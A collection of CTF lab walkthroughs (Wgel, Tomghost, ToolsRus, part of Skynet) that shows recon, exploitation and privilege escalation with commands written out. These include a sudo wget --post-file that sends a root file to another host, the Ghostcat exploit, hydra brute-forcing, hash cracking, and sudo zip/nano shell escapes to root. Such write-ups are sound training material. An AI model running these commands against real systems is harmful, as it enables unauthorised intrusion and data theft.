![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbbst6BB0g0q5Yugbi7%2F-Mbc1UnVqeFu89dKcvha%2Fimage.png?alt=media\&token=e9df2c2c-baa3-42e4-9d53-b612bf26cb91)

Lets run these commands

```
sudo nano
^R^X
reset; sh 1>&0 2>&0
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbbst6BB0g0q5Yugbi7%2F-Mbc1j9VF9SUJhmjc4za%2Fimage.png?alt=media\&token=4f498002-8f72-4e68-8297-1da508de45ab)

We are now root. You can find the root flag in `/root/`


# Wgel CTF

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbY_UUbRqRcXPrAjFKL%2F-MbY_hwEkqISC1BOIvTZ%2Fimage.png?alt=media\&token=c8ab3c05-13db-4867-87c3-c1c59ba4a23b)

## Reconnaissance

Initial nmap scan to find open ports , using the flag "treat all hosts as alive" (**-Pn**)

```
nmap -Pn 10.10.139.244
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbY_k7LvtIu1C2MX5QL%2F-MbYbliYwsua7hym23aE%2Fimage.png?alt=media\&token=adb4c993-c932-4212-adb0-b7b3a756ef9f)

Detailed Nmap Scan :&#x20;

Command Breakdown:&#x20;

* (**-sV):** Service version
* (**-sC**): Default nmap scripts
* (**-p):** Specifying ports 22,80
* (**-oN nmap**): Saving it into a files called nmap

```
nmap -sV -sC -p 22,80 -oN nmap 10.10.139.244
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbY_k7LvtIu1C2MX5QL%2F-MbYbt9XP8uYTHSc4lvV%2Fimage.png?alt=media\&token=62bd9599-f297-4755-a532-16e35605408c)

## Enumeration

Lets visit Port 80; the Web Server.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbY_k7LvtIu1C2MX5QL%2F-MbYc2sg88uTxF59Af-q%2Fimage.png?alt=media\&token=e2f6fd67-076f-4426-a2d8-61ca95753f38)

Its a default apache2 page, I made sure to check the source code and found something interesting

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbY_k7LvtIu1C2MX5QL%2F-MbYcU5XtUlrpjEw-Q6s%2Fimage.png?alt=media\&token=4f5159ed-c846-4d9c-910b-5e08fe6e85a5)

We now have a possible username `Jessie`, there is nothing else of interest so lets run `gobuster` to find hidden directories.

```
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.139.244/
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbYcdCXpwvN8tTXypwy%2F-MbYctbeDv9NAeVDadto%2Fimage.png?alt=media\&token=15507b28-b485-4cc0-ae0b-96dcd4fd603b)

We found a hidden directory, lets go check it out

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbYcdCXpwvN8tTXypwy%2F-MbYcz6o-a6FhnxZNHup%2Fimage.png?alt=media\&token=28025e92-39b8-4dbb-8342-b5af8b9a0201)

It is a very well made website, lets run gobuster on it in the background while we explore this webpage.

```
gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://10.10.139.244/sitemap
```

Looking at the website, most of the buttons work and are functional, we got the gobuster results, lets check them.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbYcdCXpwvN8tTXypwy%2F-MbYf3vT6kMSyZh4aX-j%2Fimage.png?alt=media\&token=0df3754d-4c9a-464a-b92e-5fc8d1edfac7)

There is a `/.ssh` directory, which is really interesting, lets go see it.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbYcdCXpwvN8tTXypwy%2F-MbYfSaR_OR0hs1o8X-L%2Fimage.png?alt=media\&token=8b32728d-1b45-4996-9088-3721e5f7ff1e)

We have an `id_rsa` file, which means that if we get the password for it with `john the ripper` and then we can  login through `ssh`.

Lets first open the file and then copy the contents of the file and then make our own `id_rsa` file and paste it in .&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbYcdCXpwvN8tTXypwy%2F-MbYgjZWljGMwPlkXhX8%2Fimage.png?alt=media\&token=29c28910-8ead-4f9f-8fe7-ccb84f7a711a)

Now lets find the password for it using `ssh2john`.

```
/usr/share/john/ssh2john.py id_rsa > id_rsa_hash
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbYcdCXpwvN8tTXypwy%2F-MbYhGwbqTZC3Ba2OlA7%2Fimage.png?alt=media\&token=b96713b8-a65a-44ca-99e2-87a2906c9e70)

Oh, its looks like we do not need a password to login, so lets directly login.

```
chmod 600 id_rsa
```

```
ssh jessie@10.10.139.244 -i id_rsa
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbYcdCXpwvN8tTXypwy%2F-MbYiGnNBNIVsmN-wkj6%2Fimage.png?alt=media\&token=7d21c66d-2573-4d45-88ef-44a5d2a235c0)

We are logged in. We can now read the `user.txt` file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbYcdCXpwvN8tTXypwy%2F-MbYiaJRvQIZm_z4gaug%2Fimage.png?alt=media\&token=5f702e57-a814-43a4-af96-5d9a181a1cc1)

## Privilege Escalation

Lets run the command `sudo -l` to check what we can run as root.

```
sudo -l
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbYcdCXpwvN8tTXypwy%2F-MbYiq9Z0ahkKxSgSSkr%2Fimage.png?alt=media\&token=9d93069b-b78c-4105-bbb8-453645308454)

It looks like we can run `/usr/bin/wget` as root, we can try to send the root flag file to our machine using wget as it is a command that can send files. So first we need to open a http server to receive files.

```
python3 -m http.server 8080
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbYcdCXpwvN8tTXypwy%2F-MbYkvcOkZn5Cg7isDIN%2Fimage.png?alt=media\&token=85a3cbe1-8be6-4a38-9de0-9fd8c90c0d11)

We also have to start a netcat listener

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbYcdCXpwvN8tTXypwy%2F-MbYnQ7Ri5QOg3XogjHC%2Fimage.png?alt=media\&token=c882b1b8-96c4-4873-b422-53de625429fc)

Now lets use this command to send the root flag to our machine, here we cannot be sure of the root flag file name but looking at the how the user flag was named, we can guess what it is named.

```
sudo /usr/bin/wget --post-file=/root/root_flag.txt http://10.10.139.244
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbYcdCXpwvN8tTXypwy%2F-MbYnWzQK6XhZEE7DEei%2Fimage.png?alt=media\&token=d58b2dfa-7ee8-4986-866d-f8f95951cb51)

After you hit enter, you get contents of a file.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbYcdCXpwvN8tTXypwy%2F-MbYng9xuOF9RPLoBDMS%2Fimage.png?alt=media\&token=08af13cd-fadb-48b8-b083-60ac7a69055b)

This is the root flag.


# Tomghost

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbXgJgM5EOGIYda5WwD%2F-MbXgWA172zTcvDlhRsi%2Fimage.png?alt=media\&token=f090c9d5-9882-410e-a064-feb8285fabc9)

## Reconnaissance

Initial nmap scan to find open ports , using the flag "treat all hosts as alive" (**-Pn**)

```
nmap -Pn 10.10.193.3
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbXgJgM5EOGIYda5WwD%2F-MbXi-v9YgcsteTqSJ6g%2Fimage.png?alt=media\&token=9df05d75-2788-45ff-8b93-5d08abf10ece)

Detailed Nmap Scan :&#x20;

Command Breakdown:&#x20;

* (**-sV):** Service version
* (**-sC**): Default nmap scripts
* (**-p):** Specifying ports 22,53,8009,8080
* (**-oN nmap**): Saving it into a files called nmap

```
nmap -sV -sC -p 22,53,8009,8080 -oN nmap 10.10.193.3
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbXgJgM5EOGIYda5WwD%2F-MbXi3vfxltcWYt0b4zT%2Fimage.png?alt=media\&token=b34ad7de-0bb1-486b-a177-ba556ca0fe43)

## Enumeration

Lets visit the webserver on port 8080.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbXiB0ELJi21-dg4gxO%2F-MbXjG9JC-TUz-kOPBfx%2Fimage.png?alt=media\&token=ac9f6f48-0f2d-4a7e-8f39-b2954cc3c18c)

Its an Apache Tomcat/9.0.30 service page, we can't find anything interesting on this page.&#x20;

Lets look at the service running on port 8009 which is `ajp13`, a binary protocol that allows to reverse proxying requests from a Web Server to a Application Server. Lets look for exploits on this service.

```
searchsploit ajp
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbXiB0ELJi21-dg4gxO%2F-MbXkxS54aHt9s6aa9A8%2Fimage.png?alt=media\&token=aae56c07-1600-4542-8fae-ea7daccd4328)

The second exploit in this list is just what we are working for, so lets read the exploit and look at how to use it, to do this we need to copy the exploit to our directory.

```
searchsploit -m multiple/webapps/48143.py
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbXiB0ELJi21-dg4gxO%2F-MbXlLHG-gB0ZyjZ-K3M%2Fimage.png?alt=media\&token=b3becee6-cce4-43de-8fec-b5c65a7b2bee)

## Exploitation

Looking at the exploit, it just looks like we need to run the exploit against the IP of the target machine.

```
python 48143.py 10.10.193.3
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbXiB0ELJi21-dg4gxO%2F-MbXlw904mqx53LOy8RJ%2Fimage.png?alt=media\&token=02c4bc86-9c99-419d-bacb-b7d66456116a)

And we found credentials, we can use these to login through ssh.

```
ssh skyfuck@10.10.193.3
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbXiB0ELJi21-dg4gxO%2F-MbXmDWKeSXrpbhPKT_r%2Fimage.png?alt=media\&token=ef31c04d-c25e-4b79-a7b5-9ed03d6dfa17)

We can read the user file which can be found with this command

```
find / -type f -name user.txt 2>/dev/null
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbXiB0ELJi21-dg4gxO%2F-MbXrcigiT-QyopG9jEH%2Fimage.png?alt=media\&token=a91973f7-16ba-43d5-a163-6b67d9c35847)

## Privilege Escalation

Looking in the current directory we are in there are two files.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbXiB0ELJi21-dg4gxO%2F-MbXnP9ZNWPviWDYoGlO%2Fimage.png?alt=media\&token=ebf39804-863c-45d4-a215-8e9cce7b9a26)

One is credential.pgp which is a encrypted pgp (Pretty good privacy) file. The other is tryhackme.asc which is a `ASCII armour` file.

First we need to import the `asc` file and then decrypt the `credential.pgp` file.

```
gpg --import tryhackme.asc
```

```
gpg --decrypt credential.pgp 
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbXiB0ELJi21-dg4gxO%2F-MbXoiHBjCUI_UaHN3_c%2Fimage.png?alt=media\&token=290213f1-f1c9-4fb2-8c79-13dd6288ac7e)

It looks like we need a password so lets first copy this file to our machine and then crack the password using `Johntheripper`.&#x20;

```
scp skyfuck@10.10.193.3:/home/skyfuck/tryhackme.asc .
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbXiB0ELJi21-dg4gxO%2F-MbXpc14rNurYaTdJGQe%2Fimage.png?alt=media\&token=6eb0baad-db1d-41bd-adf9-0edab3ca9df4)

Next we need to find the hash using `gpg2john` and then crack it using `john`.

```
gpg2john tryhackme.asc > hash
```

```bash
john hash --wordlist=/usr/share/wordlists/rockyou.txt
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbXiB0ELJi21-dg4gxO%2F-MbXtpC5bcQ_pvmHajPr%2Fimage.png?alt=media\&token=bb4253a6-d1ca-4741-a0fc-fae48a962787)

After cracking it you get the password `alexandru`

Now you can decrypt the pgp file.

```bash
gpg --decrypt credential.pgp
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbXiB0ELJi21-dg4gxO%2F-MbXu8AaLbbakfb8RZ3M%2Fimage.png?alt=media\&token=9355c75d-be68-4117-84eb-54597357c7ad)

We found credentials to another user, lets switch users to merlin.

```bash
su merlin
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbXuB4iBgG49ogiewbW%2F-MbXuTprUPT15mwiu9Cg%2Fimage.png?alt=media\&token=d6332420-039f-40b1-b748-c4115c329198)

Lets run `sudo -l` to see what we can run as root.

```bash
sudo -l
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbXuB4iBgG49ogiewbW%2F-MbXuhL5C233xWxvBepp%2Fimage.png?alt=media\&token=c98b774b-b786-43ed-b12b-542533dab644)

Looks like we can run `/usr/bin/zip` so lets go to [GTFOBins ](https://gtfobins.github.io/gtfobins/zip/#sudo)and look for the commands to privilege escalate to root.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbXuB4iBgG49ogiewbW%2F-MbXv7mXXIO8ZhHasEIU%2Fimage.png?alt=media\&token=564e0e33-12fc-47d0-9fa7-d5649507baed)

Once we run these commands we get root.

```bash
TF=$(mktemp -u)
sudo zip $TF /etc/hosts -T -TT 'sh #'
sudo rm $TF
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbXuB4iBgG49ogiewbW%2F-MbXvSgTJiRJoTA_Vqib%2Fimage.png?alt=media\&token=eca40433-07ad-4859-b645-ed6a9423ee21)

We are now root and now we can read root.txt and answer the last question of this room.


# ToolsRus

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbTUdmoTzW7fqHHOKBI%2F-MbTUjGB1PqnpNCagr7f%2Fimage.png?alt=media\&token=efbc20b9-b921-43a9-8ced-682008f88ac2)

## Reconnaissance

Initial nmap scan to find open ports , using the flag "treat all hosts as alive" (**-Pn**)

```
nmap -Pn 10.10.217.167
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbTV3ZUTRvDF6rtYlHP%2F-MbTVlFCFXKgVfqXDFGZ%2Fimage.png?alt=media\&token=52b68a45-3fb2-4584-a382-44a805b9838c)

Detailed Nmap Scan :&#x20;

Command Breakdown:&#x20;

* (**-sV):** Service version
* (**-sC**): Default nmap scripts
* (**-p):** Specifying ports 22,80,1234,8009
* (**-oN nmap**): Saving it into a files called nmap

```
nmap -sV -sC -p 22,80,1234,8009 -oN nmap 10.10.217.167
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbTV3ZUTRvDF6rtYlHP%2F-MbTVou75ZEN206wDFqJ%2Fimage.png?alt=media\&token=b4c4aaf5-3f8b-41c8-a4ec-5f764524aee4)

## Enumeration

### Port 80

Lets visit the site

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbTVrfaoN40252ZgXhv%2F-MbTW5SkXIHQ-pYOvfff%2Fimage.png?alt=media\&token=f43263a3-1454-48c4-bdfd-2f8a9dfe2941)

It says that the other parts of the website are still functional so lets run gobuster to find hidden directories.

```
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.217.167
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbTVrfaoN40252ZgXhv%2F-MbTWmligTEMv0G-PMah%2Fimage.png?alt=media\&token=3d6ae060-8589-4285-8e3a-509e3973091b)

We found two directories, lets first visit `/guidelines`, which also happens to be the answer to the first question of this room.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbTVrfaoN40252ZgXhv%2F-MbTWvK522O26WeM622k%2Fimage.png?alt=media\&token=ddbc4057-72c9-4859-a42a-1445a69a5efc)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbTVrfaoN40252ZgXhv%2F-MbTWzaJnLXEUwmzm3tH%2Fimage.png?alt=media\&token=a0570070-a95d-49dc-9124-d1ec14792dcc)

Looks like we have a possible username which is `bob`. This is the answer to the second question in this room.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbTVrfaoN40252ZgXhv%2F-MbTXXoSfPdaNnXVP7_A%2Fimage.png?alt=media\&token=2886c398-b2cf-4eec-a3cd-0bc3fb814366)

Now lets look at the other directory `/protected`. This is the answer to question 3 in this room

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbTYqGN21ODRG-efeYY%2F-MbTZTWWR_IeofyGLgf0%2Fimage.png?alt=media\&token=957777c1-d109-40d1-a180-3b803691dfa7)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbTVrfaoN40252ZgXhv%2F-MbTYTkglVcYia2eRUwc%2Fimage.png?alt=media\&token=ee9229b6-2e63-466f-8486-bf3f79ccb0ab)

Its asking us for a password, we have bob as a username, so lets use `hydra` to bruteforce the password.

```
hydra -l bob -P /usr/share/wordlists/rockyou.txt 10.10.217.167 http-get /protected/
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbTYqGN21ODRG-efeYY%2F-MbTZuCcK1n6sGZKc1pF%2Fimage.png?alt=media\&token=b0c11e55-1edc-4f0e-858f-eed27d2a1406)

We found the password `bubbles` which is also the answer to the 4th question in this room

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbTYqGN21ODRG-efeYY%2F-MbT_3YnHRwKzsdf78vV%2Fimage.png?alt=media\&token=12baf215-1b53-4805-9631-6f87af3d72bc)

Now we can login

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbTYqGN21ODRG-efeYY%2F-MbT_OEbaOrTckqzaO3p%2Fimage.png?alt=media\&token=c251fad7-6adb-4d3b-bdb2-5c17825b1a7f)

Oh, so now we have to go to the other http port which is 1234 that we saw in the nmap scan, which is also the answer to the 5th question in this room.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbTYqGN21ODRG-efeYY%2F-MbT_gJ1UjMHb3hKrwaZ%2Fimage.png?alt=media\&token=d9e1972c-45ee-473d-8831-5858226c7702)

Lets visit the site.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbTYqGN21ODRG-efeYY%2F-MbT_nKiExqHU3GUCxPS%2Fimage.png?alt=media\&token=f110283f-bfbc-4e31-8f2f-707b000c8d4d)

Its running `Apache Tomcat/7.0.88` which is the answer to question 6.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbTYqGN21ODRG-efeYY%2F-MbT_ysA3ZgOfKRnZCig%2Fimage.png?alt=media\&token=cee21bc7-d3e8-4b3a-a144-9e7b734d09b5)

The next question is asking us to use `nikto` to scan `/manager/html` directory on this port

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbTa-Ms2CZKW8HRcM5T%2F-MbTaQBCbgbEFT7xnGvo%2Fimage.png?alt=media\&token=54969b16-f264-4b43-afa7-5d8612c26d36)

Lets do that.

```
nikto -h 10.10.217.167:1234/manager/html -id bob:bubbles 
```

Lets also visit the web application on this port and directory, we have to login using the same credentials, this is what it looks after logging in.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbTa-Ms2CZKW8HRcM5T%2F-MbTb-ZMj49zbhHG7kld%2Fimage.png?alt=media\&token=80082173-2cf6-410b-b55f-a09dfb4b1c5a)

The Nikto scan did not give me anything important as far as I know, the answer to question 7 is "5".

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbTbBn5ayhLtfLchkKQ%2F-MbTifh2I7kUaIHC_oXS%2Fimage.png?alt=media\&token=e2429ec2-6f79-4cb0-9b7f-2e396539d0df)

The answer to the next two questions can be found in the nmap scan&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbTbBn5ayhLtfLchkKQ%2F-MbTjN64RwW5Yxb3_xU7%2Fimage.png?alt=media\&token=f6cf3ae0-6a59-427b-ac00-f9817c695f29)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbTbBn5ayhLtfLchkKQ%2F-MbTjTZutcRgCsdNmria%2Fimage.png?alt=media\&token=e4eeb6b9-68d7-46f1-bd87-f9d43a946d41)

## Exploitation

Lets fire up Metasploit

```
msfconsole
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbTjWY0KkDJ_rIpWXvc%2F-MbUCBdziAqLImEkHtQP%2Fimage.png?alt=media\&token=377c0b2d-843d-495b-aa90-614823138598)

Now lets search for tomcat&#x20;

```
search tomcat
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbTjWY0KkDJ_rIpWXvc%2F-MbUCPboM5-2nJecLmVk%2Fimage.png?alt=media\&token=916dee16-c3b3-47c3-bf54-2dd77febc667)

Looking through all the exploits, number 5 and 6 were the only ones that were interesting and exploits, so I tried number 6.

```
use exploit/multi/http/tomcat_mgr_upload
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbTjWY0KkDJ_rIpWXvc%2F-MbUClzmo0JzXVQsN4V-%2Fimage.png?alt=media\&token=f411b0c3-6fe8-40d1-b503-dae0f7a40bd9)

Lets look at the options and check what we have to provide to Metasploit to exploit the system.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbTjWY0KkDJ_rIpWXvc%2F-MbUCx2bWptQ30UkCwL1%2Fimage.png?alt=media\&token=3e9e7e1f-99c9-4777-830a-6fb83333124f)

We need to change the following options:&#x20;

* Http Username
* Http Password
* RHOSTS
* RPORT&#x20;
* LHOST

The command to set a value to a parameter&#x20;

```
set <Parameter> <Value>
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbTjWY0KkDJ_rIpWXvc%2F-MbUDuMDe0eKZ2YTqDze%2Fimage.png?alt=media\&token=bc029326-be80-4cf2-932e-3d1cdc752c11)

After setting everything up, lets run the exploit

```
run
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbTjWY0KkDJ_rIpWXvc%2F-MbUE4gGj_EJvJmp9yG6%2Fimage.png?alt=media\&token=92c590ee-841a-4e17-8385-d162dd3c8ef5)

Now lets check who we are on the system

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbTjWY0KkDJ_rIpWXvc%2F-MbUEFB4aSYBnWaNPy1u%2Fimage.png?alt=media\&token=7605ef93-4753-419a-888b-3b7530679e6b)

And we are root, which is the answer to question 10 in this room. You can also find the last answer in the `/root/flag.txt`.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbTjWY0KkDJ_rIpWXvc%2F-MbUEQ_KU2DC22rpAz7a%2Fimage.png?alt=media\&token=78a55cdb-49a6-4c78-a5e1-341918bd6065)


# Skynet

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbS_KaXGGFniW_7DE_B%2F-MbS_NjTcksIVBd-Mjdd%2Fimage.png?alt=media\&token=700d00ca-5342-4048-a7a1-34ac8064e9bc)

## Reconnaissance

Initial nmap scan to find open ports , using the flag "treat all hosts as alive" (**-Pn**)

```
nmap -Pn 10.10.149.41
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbSa5vhqzlOe8mwEk4_%2F-MbSaFdg_MugJFSQOCSh%2Fimage.png?alt=media\&token=777bcf2e-1cf0-4d4e-a554-53e2d48abd53)

Detailed Nmap Scan :&#x20;

Command Breakdown:&#x20;

* (**-sV):** Service version
* (**-sC**): Default nmap scripts
* (**-p):** Specifying ports 22,80,110,139,143,445
* (**-oN nmap**): Saving it into a files called nmap

```
nmap -sV -sC -p 22,80,110,139,143,445 -oN nmap 10.10.149.41
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbSaJffmItblHMRjhBX%2F-MbSajPiV1-wQ-Wrfx6L%2Fimage.png?alt=media\&token=de4cf05a-1e4a-4ba2-9b14-57af13b63791)

## Enumeration

### Port 80: HTTP

Lets visit the website

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbSaky-nllVTJNd6tTO%2F-MbSce0Q_8uYPdUQh1gu%2Fimage.png?alt=media\&token=7eea4c45-4458-4d60-b87e-dabffb292d44)

It is a search engine, but nothing works if we search something , neither do any of the buttons work. The source code has nothing interesting as well

Lets run a gobuster scan to find hidden directories and files

```
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.149.41
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbSaky-nllVTJNd6tTO%2F-MbSdaFY7WL0F-y4wvId%2Fimage.png?alt=media\&token=119e54b6-d3a0-47c5-a11b-e879530049cd)

Looks like we found some directories, but we are not allowed to access any of them

